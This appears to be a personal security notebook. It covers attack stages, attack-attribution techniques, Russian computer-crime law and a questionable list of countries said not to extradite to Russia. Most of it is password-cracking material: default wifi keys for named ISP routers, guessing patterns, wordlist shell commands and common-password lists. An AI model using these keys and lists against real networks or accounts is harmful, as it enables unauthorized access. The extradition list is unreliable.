- 0-day уязвимостей и целевых атак
На втором этапе с помощью сетевого сканирования выявляются уязвимые устройства уже во внутренней сети жертвы. Этап позволяет оценить ценность доступных целей и выбрать дальнейшую тактику атаки.
На третьем этапе взломанные устройства используются для рассылки целевых фишинговых писем сотрудникам организации, что дополнительно повышает эффективность атаки.
13.6. links
- all attacks https://portswigger.net/kb/issues
14. law
14.1. cyber attacker/attack attribution
- Attribution is the art of answering a question: who did it?
- Sine qua non - latin условие, без которого
- The attribution of an attack to a state or state agents is a condicio sine qua non under international law.
- tactical goal - technical aspects, the how
- What was the intrusion mechanism?
- perational goal - the attack’s high-level architecture and the attacker’s profile — the what
- What was the motive?
- strategic goal - assessing the attack’s rationale, significance, appropriate response — the who and why.
- communication - communicating the outcome of a labour-intensive forensic investigation
aperture: the scope of sources that can be brought to bear on a specific investigation
14.1.1. techs
- Store Logs & Traceback Queries
- Perform Input Debugging
- Modify Transmitted Messages
- Transmit Separate Messages (e.g., iTrace)
- Reconfigure & Observe Network
- Query Hosts
- Insert Host Monitor Functions
- Match Streams (via headers, content, and/or timing)
- Exploit/Force Attacker Self-Identification (e.g., beacons, web bugs, cookies, watermarking)
- Observe Honeypot/honeynet
- Employ Forward-deployed Intrusion Detection Systems (IDSs)
- Perform Filtering (e.g., Network Ingress Filtering)
- Implement Spoof Prevention
- Secure Hosts/Routers (e.g., “Hack Back”)
- Surveil Attacker
- Employ Reverse Flow
- Combine Techniques
https://www.researchgate.net/publication/235170094_Techniques_for_Cyber_Attack_Attribution
14.2. rus
http://www.ceae.ru/urids-komp-prestup.htm
Управление "К" МВД РФ и отделы "К" региональных управлений внутренних дел,входящие в состав Бюро специальных технических мероприятий МВД РФ.
общим объектом компьютерных преступлений будет совокупность всех общественных отношений, охраняемых уголовным законом, родовым - общественная безопасность и общ. порядок; видовым - совокупность общественных отношений по правомерному и безопасному использованию информации; непосредственный объект трактуется исходя из названий и диспозиций конкретных статей.
Отсутствие посягательства на эти общественные отношения (либо незначительность такого посягательства) исключает уголовную ответственность в силу ч. 2 ст. 14 УК РФ
гл. 28 УК, которое говорит не о посягательстве на объект, а о посягательствах в определенной "сфере".
Преступлениями в сфере компьютерной информации являются:
- Неправомерный доступ к компьютерной информации (ст.272 УК РФ);
- Создание, использование и распространение вредоносных программ для ЭВМ (ст.273 УК РФ);
- Нарушение правил эксплуатации ЭВМ, системы ЭВМ или их сети (ст.274 УК РФ);
Физическое повреждение или уничтожение компьютерной техники, незаконное завладение ею, а равно машинными носителями (дискетами, CD-R дисками), как предметами, обладающими материальной ценностью, квалифицируются по статьям главы 21 УК РФ
Между деянием и последствиями обязательно должна быть установлена причинная связь.
Субъективная сторона компьютерных преступлений характеризуется умышленной виной.
В ч. 2 ст. 24 сказано, что деяние совершенное по неосторожности признается преступлением только тогда, когда это специально предусмотрено соответствующей статьей Особенной части УК
лицо, имеющее доступ к ЭВМ, системе ЭВМ или их сети.
14.2.1. Неправомерный доступ к компьютерной информации ( ст. 272 УК)
если это деяние повлекло уничтожение. Блокирование, модификацию, либо копирование информации, нарушение работы ЭВМ, системы ЭВМ или их сети.
Эта информация должна быть чужой для осуществляющего неправомерный доступ
Субъективная сторона преступления характеризуется виной в форме умысла: лицо сознает, что осуществляет неправомерный (несанкционированный) доступ к охраняемой законом компьютерной информации, предвидит, что в результате производимых им действий могут наступить или неизбежно наступят указанные в законе вредные последствия, и желает (прямой умысел) или сознательно допускает (косвенный умысел) их наступления либо относится к ним безразлично.
14.2.2. Нарушение правил эксплуатации ЭВМ, системы ЭВМ или их сети (ст. 274 УК)
повлекшее уничтожение, блокирование или модификацию охраняемой законом информации, если это деяние причинило существенный вред.
14.2.3. Список стран, не выдающих преступников РФ
- Великобритания;
- Китай;
- Америка;
- Беларусь;
- Украина;
- Израиль;
- Польша;
- Швеция;
- Венесуэла;
- Япония - Из-за отсутствия двустороннего соглашения Япония не выдает преступников России.
Камбодже, Тринидаде, Никарагуа, Тобаго
*
15. Organizations https://owasp.org/
- OWASP - online community that produces freely-available articles, methodologies, documentation, tools, and technologies in the field of web application security
- Security Industry Association - representing electronic and physical security solutions providers
16. password
16.1. most common
- Default passwords
- key sequence, reverse key sequences
- personal information
- name
- birthday - 1/1/1970 1.1.1970, 1/1/70
- phone number 89……… or +79………
- personal number
- address
- nicknames
- space specific: site, company, chat
- language specific words and universal worlds
- double 3,4,5 words
OWASP SecLists Project
16.2. Default passwords wifi WPA2
password, default, admin, root, guest, year2000, manager, digit, private, D-Link, alpine, telco
- https://www.routerpasswords.com/
- https://github.com/3mrgnc3/RouterKeySpaceWordlists
- TP Link - 8 chars [0-9]
- qtech: 32625585
- hiawei: 07225C45827
- ZTE: eCavtVDe, d21????F
- keenetic: ncKxATQn
- keenetic-3055:cMHsmdj3
- keenetic-4345:9mftKELH
- keenetic-0809:ouzPMWxL
- Keenetic(ZyXEL): en5Klc55
- ZyXEL Kenetic Giga:pin:51029203
- netis:password
- Wifire-2.4: YFOP7PBM
- WiFi-DOM.ri:KCAmwrPiGH
- Ростелеком:BFW7P3PQ, RTWiFiADE8:v2VKfEyg, RTWiFi0E65:Ce2ch5ex
- RTWifi:user:qtech,pass:qtech
- RT-WIFI QTECH:123456789012
- RTWiFi(ZTE CORP):gqYyAaeX
- ROSTELECOM(Sagemcom):MCR4F64F
- MTSRouter(SERCOMM):RRgA9jTF
- UniversalRouterMTS(Sagemcom):VG97ACNG,admin,mts
- MTSRouter(D-Link):43621996, MTSRouter(D-Link DIR-615):37674724
- MTSRouter2.4G(SERCOMM):8-chan up down alphanumeric
- MTSRouter240985-77ed-D-LinkInternational: 10048566
- MTSRouter404E27(D-LinkInternational):8 chars [0-9]
- MGTSGPON
- SERCOMM
- MGTSGPON9921: H6RU5R6P - SERCOMM
- MGTSGPON7901: JMZQ88VZ - SERCOMM
- 9883: ZCMKTKSS
- MGTSGPON9949 / MGTSGPON59949 : MQK6MNTK
- zte corporation
- MGTSGPON37E1: 23f3de64
- MGTSGPON3ED2: 8ab8b02f
- MGTSGPONF337 / MGTSGPON5F337 : nbNjFWGb
- MGTSGPON4AFE / MGTSGPON54AFE : eft6n7jK
- SERCOMM
- GPON терминал - ZTE-bc865e: 981428bc
- Beeline(SmartBox turbo+):mnm2xq6x
- Beeline(SmartBox one):WJmNgmX6AT
- MERCUSYS_:25399653
- (Huawei home router)SUPERONLINEWiFi:94HTFJTAYMMY
- VDF-HG532e:WEB:
- WirelessNet(EchoLife):mgtswifi
- HUAWEI-v7e9:485754438DF0639D
- 4G-Mobile-WiFi:e
- UR-325BN: D4BF7F05AF2D
- HGU0C830:624AC830
- D-Ling(DIR-620):pin:1234123412
- ASUS:pin:00343459,pin:38472585
- TRENDnet8102.4:81031005793,admin,BY6Q3AKD
- ZTE:2sat943s
- ubiquiti networks: ubnt/ubnt, no default WPA pass - must be set up
- AndroidAP: yjru7079
16.3. key sequence
- password, adminadmin, AdminAdmin, passWord, PassWord
- 123, 1234, 12345, 123456, 1234567, 12345678, 123456789
- qwe, qwer, qwert, qwerty, qwertyu, qwertyui, qwertyuio, qwertyuiop
- asd, asdf, asdfg, asdfgh, asdfghj, asdfghjk, asdfghjkl
- zxc, zxcv, zxcvb, zxcvbn, zxcvbnm, zxcvbnm,
- qazqaz, qazqazqaz, wsxwsx, wsxwsxwsx, edcedc, edcedcedc
- 1qaz, 1qaz2wsx, 1qaz2wsx3edc
- qazwsx, qazwsx123, 123qazwsx, qazwsxedc, qazwsxedcrfv
- qazxsw, 123qazxsw, qazxswedc
- abcd, abcde, abcdef, abcdefg, abcdefgh
- 1q2w3e4r5t6y, 1q2w3e4r5t6, 1q2w3e4r5t, 1q2w3e4r5, 1q2w3e4r, 1q2w3e4, 1q2w3e, 1q2w3, 1q2w
- q1w2e3r4t5y6, q1w2e3r4t5y, q1w2e3r4t5, q1w2e3r4t, q1w2e3r4, q1w2e3r, q1w2e3, q1w2e, q1w2
- REP8 4-10: alphabet+spec = aaaaaaaa, bbbbbbbb, 11111111
- PERM2 2-4: 1 2 3 4 5 6 7 8 9 - = = 12121212, 32323232, -
-
--
- PROD 2-3: 123 qwe asd zxc 321 ewq dsa cxz = 123123, 123qwe, qwe123
- PROD 2: 1234 qwer asdf zxcv 4321 rewq fdsa vcxz = 12341234, 1234qwer,
- RARE! REP2: 12345, qwert, asdf, zxcvb, 54321, trewq, fdsa, bvcxz
- PROD2,3: qaz wsx, edc, zaq xsw, cde, 123, 321
- PROD2: 1qaz, 2wsx, 3edc, zaq1, xsw2, cde3
- PROD4: 12, 21, qw, as, zx, wq, sa, xz
- PROD4: 12, 21, po, op, lk, kl, mn, nm
- PAIRS2-4 from: qwertyuiop[], asdfghjkl;', zxcvbnm, (and reverse): qwqwqwqw, wewewewe
- adadadad, asasasas, asas, qeqeqeqe, qeqe, zczc, zczczczc, qeqe, qeqeqeqe
- 1234567a, 123456aa, 1234aaaa, 123aaaa
- a1234567, aa123456, aaa12345, aaaa1234
- 11223344, 1122334455, 111222333, 11112222
- 1234abcd, 12345abcd, 12345abc, 123456abcd, 12345abc, 123456abc
- 123456789a, 1234567a, 1234567b, 12345678b, 1234567c
- a123456789, a1234567, b1234567, b12345678, c1234567
- 789456123, 890567234, 321654987
- qwerty123, qwert123, 123qwerty, qwert123, 12345qwe, 12345qwer, 123456qw
- 1234567890, 123456789, 12345678, 0123456789, 012345678
- 12344321, 123454321, 1234554321
- 1qazxsw2
- 102030405, 102030405, 1020304050, 102030406, 01020304, 0102030405
- 147258369, 741852963, 963852741
- qwaszx, 123qwaszx, qwaszx123, zxasqw, zxasqw123, 123zxasqw
- 1234567891
- 1qazxsw2
- 1029384756, 0192837465, 1092387456, 0129834765
- zaq12wsx
- 0987654321, 098765432, 09876543, 0987654, 098765, 09876, 0987, 098
- !@#$%^&*()_+, !@#$%^&*()_, !@#$%^&*(), !@#$%^&*(, !@#$%^&*
transfer:
- copy this to file keysequences
cut -d " " -f2- key_sequences | grep -v -e REP -e PROD -e PERM | sed 's/, /\n/g' > key_sequences_cap cut -d " " -f2- key_sequences | grep -v -e REP -e PROD -e PERM | sed 's/, /\n/g' | tr [:lower:] [:upper:] >> key_sequences_cap cut -d " " -f2- key_sequences | grep -v -e REP -e PROD -e PERM | sed 's/, /\n/g' | tr [:upper:] [:lower:] >> key_sequences_cap cut -d " " -f2- key_sequences | grep -v -e REP -e PROD -e PERM | sed 's/, /\n/g' | rev >> key_sequences_cap cut -d " " -f2- key_sequences | grep -v -e REP -e PROD -e PERM | sed 's/, /\n/g' | rev | tr [:lower:] [:upper:] >> key_sequences_cap cut -d " " -f2- key_sequences | grep -v -e REP -e PROD -e PERM | sed 's/, /\n/g' | rev | tr [:upper:] [:lower:] >> key_sequences_cap cat key_sequences_cap | uniq |sed -nr '/^.{8,12}$/p' > key_sequences_cap8-12u
16.4. dates
- year, month, date - date, month, year
- simple
- 0
- with/without 0 with special characters as separators .,_,-,/,#
- without 20 and 19 in year
16.5. patterns or modifiers
- divide letters to 1,2,3,4 parts - first, one of, or every second is capital
- The first letter is a capital letter.
- additional characters
- simple obfuscation or Replacement Password Pattern
16.6. additional charactes
- simple - 1, 11, 12, 13, 123, a, q, qq, aa, 0, 00, 01, 2, 3, 7, ., _, !, -, @, *, #, /, $
- double and triple of 1 character simple
- any digital double - 11, 22, 33
- zero + 1 digital: 01,02,03,04
- special numbers - 50,100,1000,300,30,18,7
- english: ',
16.7. simple obfuscation or Replacement Password Pattern
- a - @
- o - 0
- i/l - 1/|
- s - 5/$
- b/g - 6
- g - 9
16.8. words
filter:
cat words | grep -v "^*" | cut -f 2- -d ' ' | sed 's/, /\n/g'
add endings “.”
cat words | sed 's/$/./'
16.8.1. RUS:
- russia
- belgorod
- stalker
- spartak
- avtoplus
- knopka
- sobaka
- privet
- matrix
- nirvana
- eminem
- zvezda
- kolobok
- flatron
- ronaldo
- ivanov
- windows
- viktoria
- kotenok
- scorpion
- romashka
- mamapapa
- mama
- moloko
- vladislav
- svetik
- arsenal
- solnce
- cjkywt
- cjkysirj
- lokomotiv
- kaktus
- kakashka
- barsik
- pupsik
- barcelona
- nokia
- sandra
- slipknot
- agent007
- pantera
- mazafaka
- zvezda
- abrakadabra
- svoboda
- kazantip
- krasotka
- chelsea
- cocacola
- nikitos
- ivanova
- fackinshet
- antonio
- azamat
- пароль, gfhjkm
- karolina
- telefon
- avatar
- maestro
- linkinpark
- PolniyPizdec
- mamamama
- koroleva
- mamochka
- creative
- infiniti
- vfvfvfvf
- superstar
- blablabla
- piramida
- mandarin
- armagedon
- manchester
- dagestan
- solnishko
- papamama
- dtxyjcnm
- juventus
- adrenalin
- gladiator
- karamelka
- koshechka
- kukuruza
- alina
- klubnika
- babushka
- dedushka
- belochka
- strekoza
- arhangel
- marmelad
- avangard
- sukasuka
16.8.2. RUS names
- sergey
- andrey
- natasha
- nastya
- maksim
- svetlana
- kirill
- aleksandr
- kristina
- polina
- serega
- ruslan
- oksana
- natali
- vladimir
- karina
- viktor
- galina
- veronika
- andrei
- valera
- ekaterina
- valentina
- valentin
- elena
- lenochka
- sasha
- katerina
- larisa
- sergei
- olga
- alexander
- alex
- anastasia
- angelina
- irina
- vladik
- tatyana
- dima
- aleksey
- deniska
- vitalik
- bogdan
- danila
- dmitriy
- tamara
- alexandr
- daniil
- margarita
- victoria
- viktoriya
- victor
- anastasiya
- natalia
- nikolay
- slavik
- valeria
- oleg
- alinka
- alina
- maksimka
- aleksandra
- alenka
- kostya
- artemka
- artem
- rustam
- kostik
- evgeny
- evgeniy
- evgesha
- hanihani
- ljxtymrf
- rhjrjlbk
- timoxa
- ghjcnjnfr
- yjdsqgfhjkm
- milashka
- amadeus
- vasilisa
- konstantin
- valentin
- stanislav
- marishka
- margosha
- marianna
- valeriya
- nadezhda
- dimochka
- mashenka
- alino4ka
- yanochka
- OLOLO
16.8.3. universal:
- wifi
- naruto
- qwerty
- superman
- love
- loveme
- iloveyou
- ilovesex
- ILoveSex
- loveyou
- LoveYou
- fuck
- fuckyou
- fuckoff
- fuckme
- test
- computer
- password
- pass
- internet
- pokemon
- starwars
- welcome
- lol
- nikita
- andrew
- jordan
- forever
- xxx
- qawsed
- football
- daniel
- michael
- princess
- liverpool
- robert
- baseball
- 159753
- 123321
- ukraine
- putin
- terminator
- diablo
- satana
- philips
- predator
- metallica
- mustang
- 2000
- admin
- killer
- sexsex
- angel
- lovelove
- rammstein
- ramstein
- skorpion
- beautiful
- darkness
- remember
- navigator
- testtest
- futurama
- november
- september
- P@ssw0rd
- greenday
- fuckfuck
- panda
- godsave
- truelove
- tryagain
- sushi
- master
16.8.4. games:
- warcraft
- warhammer
- warhamer
- fortnite
- doom
- startcraft
- minecraft
- tetris
- lineage
- fifa
- HarryPotter
- harry
- potter
- Hogwarts
- voldemort
- frodo
- gandalf
- morrowind
- batman
- joker
- oblivion
- needforspeed
- fallout
- wow
- gta
- cyberpunk
- Witcher
- doom
- quake
- starcraft
- minecraft
- wolfenstein
16.8.5. companies
- meta
- amazon
- microsoft
- huggingface
- adidas
- vkontakte
- vkontakt
- kontakt
- rambler
- ferrari
- motorola
- winston
- toyota
- mersedes
- panasonic
- nissan
- samsung
- logitech
- genius
- lenovo
- sony
- siemens
- apple
- aliexpress
- ozon
- rambler
- yandex
- tiktok
- telegram
- weixin
- SnapChat
- viber
16.8.6. ENG
- hunter
- status
- sunshine
- hello
- love
- freedom
- secret
- shadow
- myspace
- monkey
- chocolate
- mynoob
- lovely
- target
- letmein
- pussy
- jennifer
- buster
- soccer
- harley
- tigger
- charlie
- thomas
- hockey
- ranger
- klaster
- george
- asshole
- michelle
- jessica
- pepper
- maggie
- ginger
- joshua
- cheese
- amanda
- summer
- ashley
- nicole
- biteme
- matthew
- yankees
- dallas
- austin
- thunder
- taylor
- trustno1
- access
- hammer
- silver
- patrick
- scooter
- orange
- cowboy
- money
16.8.7. ZH
woaini caonima
16.8.8. users
- root
- admin
- user
- fedora
- centos
- linux
- john
- larry
- ubuntu
- debian
- openbsd
- alpine
16.8.9. top words 2024 ENG
- chillax
- cringe
- ghost
- facepalm
- freegan
- stan
- b-day
- boomer
- zoomer
16.8.10. sys admins
- citrics
- cisco
- server
- router
- switch
- firewall
- azure
- antivirus
- cache
- gateway
- database
- cluster
- backend
- frontend
16.8.11. OWASP 100 top
- 000000
- 1111
- 111111
- 11111111
- 112233
- 121212
- 123123
- 123321
- 1234
- 12345
- 123456
- 1234567
- 12345678
- 123456789
- 1234567890
- 123qwe
- 131313
- 159753
- 1qaz2wsx
- 2000
- 555555
- 654321
- 666666
- 6969
- 696969
- 777777
- 7777777
- 987654321
- aaaaaa
- abc123
- access
- amanda
- andrew
- asdfgh
- ashley
- asshole
- austin
- baseball
- batman
- biteme
- buster
- charlie
- cheese
- chelsea
- computer
- dallas
- daniel
- dragon
- football
- freedom
- fuck
- fuckme
- fuckyou
- george
- ginger
- harley
- hockey
- hunter
- iloveyou
- ILoveYou
- jennifer
- jessica
- jordan
- joshua
- killer
- klaster
- letmein
- love
- maggie
- master
- matrix
- matthew
- michael
- michelle
- minecraft
- monkey
- mustang
- nicole
- pass
- password
- pepper
- princess
- pussy
- qazwsx
- qwerty
- qwertyuiop
- ranger
- robert
- shadow
- soccer
- starwars
- summer
- sunshine
- superman
- taylor
- thomas
- thunder
- tigger
- trustno1
- yankees
- zxcvbn
- zxcvbnm
16.8.12. TOP VK passwords
- 123456
- 123456789
- qwerty
- 111111
- 1234567890
- 1234567
- 12345678
- 123321
- 000000
- 123123
- 7777777
- qwertyuiop
- 666666
- 123qwe
- 555555
- zxcvbnm
- 1q2w3e
- gfhjkm
- qazwsx
- 1q2w3e4r
- 654321
- 987654321
- 121212
- zxcvbn
- 777777
- 1q2w3e4r5t
- qazwsxedc
- 123456a
- 112233
- qwe123
- ghbdtn
- PolniyPizdec0211
- 159753
- 123456q
- asdfgh
- 1111111
- samsung
- qweasdzxc
- qwertyu
- 1234qwer
- 11111111
- 222222
- asdfghjkl
- 1qaz2wsx
- qweqwe
- 1111111111
- 123654
- marina
- 123123123
- 0987654321
- 12345q
- 999999
- qwerty123
- 123456789a
- 12345a
16.8.13. TOP rockyou
- 123456
- 12345
- 123456789
- password
- iloveyou
- princess
- 1234567
- rockyou
- 12345678
- abc123
- nicole
- daniel
- babygirl
- monkey
- lovely
- jessica
- 654321
- michael
- ashley
- qwerty
- 111111
- iloveu
- 000000
- michelle
- tigger
- sunshine
- chocolate
- password1
- soccer
- anthony
- friends
- butterfly
- purple
- angel
- jordan
- liverpool
- justin
- loveme
- fuckyou
- 123123
- football
- secret
- andrea
- carlos
- jennifer
- joshua
- bubbles
- 1234567890
- superman
- hannah
- amanda
- loveyou
- pretty
- basketball
- andrew
- angels
- tweety
- flower
- playboy
- hello
- elizabeth
- hottie
- tinkerbell
- charlie
- samantha
- barbie
- chelsea
- lovers
- teamo
- jasmine
- brandon
- 666666
- shadow
- melissa
- eminem
- matthew
- robert
- danielle
- forever
- family
- jonathan
- 987654321
- computer
- whatever
- dragon
- vanessa
- cookie
- naruto
- summer
- sweety
- spongebob
- joseph
- junior
- softball
- taylor
- yellow
- daniela
- lauren
- mickey
- princesa
- alexandra
- alexis
- jesus
- estrella
- miguel
- william
- thomas
- beautiful
- mylove
- angela
- poohbear
- patrick
- iloveme
- sakura
- adrian
- alexander
- destiny
- christian
- 121212
- sayang
- america
- dancer
- monica
- richard
- 112233
- princess1
- 555555
- diamond
- carolina
- steven
- rangers
- louise
- orange
- 789456
- 999999
- shorty
- 11111
- nathan
- snoopy
- gabriel
- hunter
- cherry
- killer
- sandra
- alejandro
- buster
- george
- brittany
- alejandra
- patricia
- rachel
- tequiero
- 7777777
- cheese
- 159753
- arsenal
- dolphin
- antonio
- heather
- david
- ginger
- stephanie
- peanut
- blink182
- sweetie
- 222222
- beauty
- 987654
- victoria
- honey
- 00000
- fernando
- pokemon
- maggie
- corazon
- chicken
- pepper
- cristina
- rainbow
- kisses
- manuel
- myspace
- rebelde
- angel1
- ricardo
- babygurl
- heaven
- 55555
- baseball
- martin
- greenday
- november
- alyssa
- madison
- mother
- 123321
- 123abc
- mahalkita
- batman
- september
- december
- morgan
- mariposa
- maria
- gabriela
- iloveyou2
- bailey
- jeremy
- pamela
- kimberly
- gemini
- shannon
- pictures
- asshole
- sophie
- jessie
16.8.14. TOP outpost9
- 123456
- 12345
- password
- password1
- 123456789
- 12345678
- 1234567890
- abc123
- computer
- tigger
- 1234
- qwerty
- money
- carmen
- mickey
- secret
- summer
- internet
- a1b2c3
- 123
- service
- canada
- hello
- ranger
- shadow
- baseball
- donald
- harley
- hockey
- letmein
- maggie
- mike
- mustang
- snoopy
- buster
- dragon
- jordan
- michael
- michelle
- mindy
- patrick
- 123abc
- andrew
- bear
- calvin
- changeme
- diamond
- fuckme
- fuckyou
- matthew
- miller
- tiger
- trustno1
- alex
- apple
- avalon
- brandy
- chelsea
- coffee
- falcon
- freedom
- gandalf
- green
- helpme
- linda
- magic
- merlin
- newyork
- soccer
- thomas
- wizard
- asdfgh
- bandit
- batman
- boris
- butthead
- dorothy
- eeyore
- fishing
- football
- george
- happy
- iloveyou
- jennifer
- jonathan
- love
- marina
- master
- missy
- monday
- monkey
- natasha
- ncc1701
- pamela
- pepper
- piglet
- poohbear
- pookie
- rabbit
- rachel
- rocket
- rose
- smile
- sparky
- spring
- steven
- success
- sunshine
- victoria
- whatever
- zapata
- 8675309
- amanda
- andy
- angel
- august
- barney
- biteme
- boomer
- brian
- casey
- cowboy
- delta
- doctor
- fisher
- island
- john
- joshua
- karen
- marley
- orange
- please
- rascal
- richard
- sarah
- scooter
- shalom
- silver
- skippy
- stanley
- taylor
- welcome
- zephyr
- 111111
- aaaaaa
- access
- albert
- alexander
- andrea
- anna
- anthony
- asdfjkl;
- ashley
- basketball
- beavis
- black
- bob
- booboo
- bradley
- brandon
- buddy
- caitlin
- camaro
- charlie
- chicken
- chris
- cindy
- cricket
- dakota
- dallas
- daniel
- david
- debbie
- dolphin
- elephant
- emily
- friend
- fucker
- ginger
- goodluck
- hammer
- heather
- iceman
- jason
- jessica
- jesus
- joseph
- jupiter
- justin
- kevin
- knight
- lacrosse
- lakers
- lizard
- madison
- mary
- mother
- muffin
- murphy
- nirvana
- paris
- pentium
- phoenix
- picture
- rainbow
- sandy
- saturn
- scott
- shannon
- shithead
- skeeter
- sophie
- special
- stephanie
- stephen
- steve
- sweetie
- teacher
- tennis
- test
- test123
- tommy
- topgun
- tristan
- wally
- william
- wilson
- 1q2w3e
- 654321
- 666666
- a12345
- a1b2c3d4
- alpha
- amber
- angela
- angie
- archie
- asdf
- blazer
- bond007
- booger
- charles
- christin
- claire
- control
- danny
- david1
- dennis
- digital
- disney
- edward
- elvis
- felix
- flipper
- franklin
- frodo
- honda
- horses
- hunter
- indigo
- james
- jasper
- jeremy
- julian
- kelsey
- killer
- lauren
- marie
- maryjane
- matrix
- maverick
- mayday
- mercury
- mitchell
- morgan
- mountain
- niners
- nothing
- oliver
- peace
- peanut
- pearljam
- phantom
- popcorn
- princess
- psycho
- pumpkin
- purple
- randy
- rebecca
- reddog
- robert
- rocky
- roses
- salmon
- samson
- sharon
- sierra
- smokey
- startrek
- steelers
- stimpy
- sunflower
- superman
- support
- sydney
- techno
- walter
- willie
- willow
- winner
- ziggy
- zxcvbnm
- alaska
- alexis
- alice
- animal
- apples
- barbara
- benjamin
- billy
- blue
- bluebird
- bobby
- bonnie
- bubba
- camera
- chocolate
- clark
- claudia
- cocacola
- compton
- connect
- cookie
- cruise
- douglas
- dreamer
- dreams
- duckie
- eagles
- eddie
- einstein
- enter
- explorer
- faith
- family
- ferrari
- flamingo
- flower
- foxtrot
- francis
- freddy
- friday
- froggy
- giants
- gizmo
- global
- goofy
- happy1
- hendrix
- henry
- herman
- homer
- honey
- house
- houston
- iguana
- indiana
- insane
- inside
- irish
- ironman
- jake
- jasmin
- jeanne
- jerry
- joey
- justice
- katherine
- kermit
- kitty
- koala
- larry
- leslie
- logan
- lucky
- mark
- martin
- matt
- minnie
- misty
- mitch
- mouse
- nancy
- nascar
- nelson
- pantera
- parker
- penguin
- peter
- piano
- pizza
- prince
- punkin
- pyramid
- raymond
- robin
- roger
- rosebud
- route66
- royal
- running
- sadie
- sasha
- security
- sheena
- sheila
- skiing
- snapple
- snowball
- sparrow
- spencer
- spike
- star
- stealth
- student
- sunny
- sylvia
- tamara
- taurus
- teresa
- theresa
- thunderbird
- tigers
- tony
- toyota
- travel
- tuesday
- victory
- viper1
- wesley
- whisky
- winnie
- winter
- wolves
- xyz123
- zorro
- 123123
- 1234567
- 696969
- 888888
16.8.15. TOP digits
- 123456
- 12345
- 123456789
- 1234567
- 12345678
- abc123
- 654321
- qwerty
- 111111
- 000000
- password1
- fuckyou
- 123123
- 1234567890
- 666666
- 987654321
- 121212
- 112233
- 555555
- 789456
- 999999
- 11111
- 7777777
- 159753
- 222222
- 987654
- 00000
- 55555
- 123321
- 123abc
- 123456
- 12345
- password
- password1
- 123456789
- 12345678
- 1234567890
- abc123
- computer
- tigger
- 1234
- qwerty
- money
- carmen
- mickey
- secret
- summer
- internet
- a1b2c3
- 123
- service
- canada
- hello
- ranger
- shadow
- baseball
- donald
- harley
- hockey
- letmein
- maggie
- mike
- mustang
- dragon
- 123abc
- andrew
- 111111
- aaaaaa
- 1q2w3e
- 654321
- 666666
- a12345
- a1b2c3d4
- bond007
- 123123
- 1234567
- 696969
- 888888
16.8.16. TOP 30
- 123456
- password
- 123456789
- 12345
- 12345678
- qwerty
- 1234567
- 111111
- 1234567890
- 123123
- abc123
- 1234
- password1
- iloveyou
- 1q2w3e4r
- 1q2w3e
- 1q2w
- 123qwe
- qwe123
- abc123
- 123abc
- 000000
- qwerty123
- zaq12wsx
- 1qazxsw2
- 1qaz2wsx
- 1234qwer
- dragon
- sunshine
- princess
- letmein
- 654321
- monkey
- 27653
- 123321
- qwertyuiop
- superman
- asdfghjkl
- asdfgh
- asdf
- asd
16.8.17. common ENG with names
- aaa
- abc
- academia
- academic
- access
- ada
- admin
- adrian
- adrianna
- aerobics
- airplane
- albany
- albatross
- albert
- alex
- alexander
- alf
- algebra
- alias
- aliases
- alice
- alicia
- alisa
- alison
- allison
- alpha
- alphabet
- ama
- amadeus
- amanda
- amber
- amorphous
- amy
- analog
- anchor
- andrea
- andromache
- andy
- angela
- angerine
- angie
- animals
- anita
- ann
- anna
- anne
- annette
- answer
- anthropogenic
- anvils
- anything
- april
- aria
- ariadne
- arlene
- arrow
- arthur
- asd
- asm
- asshole
- athena
- atmosphere
- aztecs
- azure
- bacchus
- badass
- bailey
- banana
- bananas
- bandit
- banks
- barbara
- barber
- baritone
- bart
- bartman
- basic
- bass
- bassoon
- batch
- batman
- beach
- beater
- beauty
- beaver
- becky
- beethoven
- beloved
- benz
- beowulf
- berkeley
- berlin
- berliner
- beryl
- beta
- beth
- betsie
- betty
- beverly
- bicameral
- bishop
- bitch
- bob
- bradley
- brandi
- brandy
- brenda
- brian
- bridget
- broadway
- bsd
- bumbling
- burgess
- cad
- camille
- campanile
- candi
- candy
- cantor
- cardinal
- caren
- carla
- carmen
- carol
- carole
- carolina
- caroline
- carrie
- carson
- cascades
- castle
- cat
- catherine
- cathy
- cayuga
- cecily
- celtics
- cerulean
- change
- charity
- charles
- charming
- charon
- chat
- chem
- chemistry
- chess
- chester
- christina
- christine
- christy
- cigar
- cindy
- class
- classic
- claudia
- cluster
- clusters
- code
- coffee
- coke
- collins
- commrades
- computer
- comrade
- comrades
- condo
- condom
- connect
- connie
- console
- cookie
- cooper
- cornelius
- couscous
- create
- creation
- creosote
- cretin
- criminal
- cristina
- crystal
- cshrc
- cynthia
- daemon
- daisy
- dana
- dancer
- daniel
- danielle
- danny
- dapper
- data
- dave
- dawn
- deb
- debbie
- deborah
- december
- default
- defoe
- deluge
- denise
- desiree
- desperate
- develop
- device
- dial
- diana
- diane
- diet
- dieter
- digital
- disc
- discovery
- disk
- disney
- dog
- dos
- drought
- dulce
- duncan
- eager
- earth
- easier
- easy
- eatme
- edges
- edinburgh
- edwin
- edwina
- egghead
- eiderdown
- eileen
- einstein
- elaine
- elanor
- elephant
- elizabeth
- ellen
- emerald
- emily
- emmanuel
- enemy
- engine
- engineer
- enterprise
- enzyme
- erenity
- erica
- erika
- erin
- ersatz
- establish
- estate
- eternity
- euclid
- evelyn
- extension
- fairway
- felicia
- fender
- fermat
- ferrari
- fidelity
- field
- file
- finite
- fishers
- flakes
- float
- flower
- flowers
- foolproof
- football
- foresight
- format
- forsythe
- fourier
- fred
- friend
- frighten
- fun
- function
- fungible
- gabriel
- games
- gardner
- garfield
- gatt
- gauss
- george
- gertrude
- gibson
- gina
- ginger
- glacier
- gnu
- golf
- golfer
- gorgeous
- gorges
- gosling
- gouge
- graham
- grahm
- group
- gryphon
- gucci
- guess
- guest
- guitar
- gumption
- guntis
- hack
- hacker
- hal
- hamlet
- handily
- happening
- harmony
- harold
- harvey
- hawaii
- heather
- hebrides
- heidi
- heinlein
- hello
- help
- herbert
- hiawatha
- hibernia
- hidden
- holly
- homework
- honey
- horse
- horus
- hutchins
- hydrogen
- ibm
- imbroglio
- imperial
- include
- ingres
- ingress
- ingrid
- inna
- innocuous
- internet
- irene
- irishman
- isis
- jackie
- jane
- janet
- janice
- janie
- japan
- jasmin
- jean
- jeanne
- jen
- jenni
- jennifer
- jenny
- jessica
- jester
- jill
- jixian
- joanne
- jody
- johnny
- joseph
- joshua
- joy
- joyce
- judith
- judy
- juggle
- julia
- julie
- june
- jupiter
- karen
- karie
- karina
- kate
- kathleen
- kathrine
- kathy
- katina
- katrina
- kelly
- keri
- kermit
- kernel
- kerri
- kerrie
- kerry
- key
- kim
- kimberly
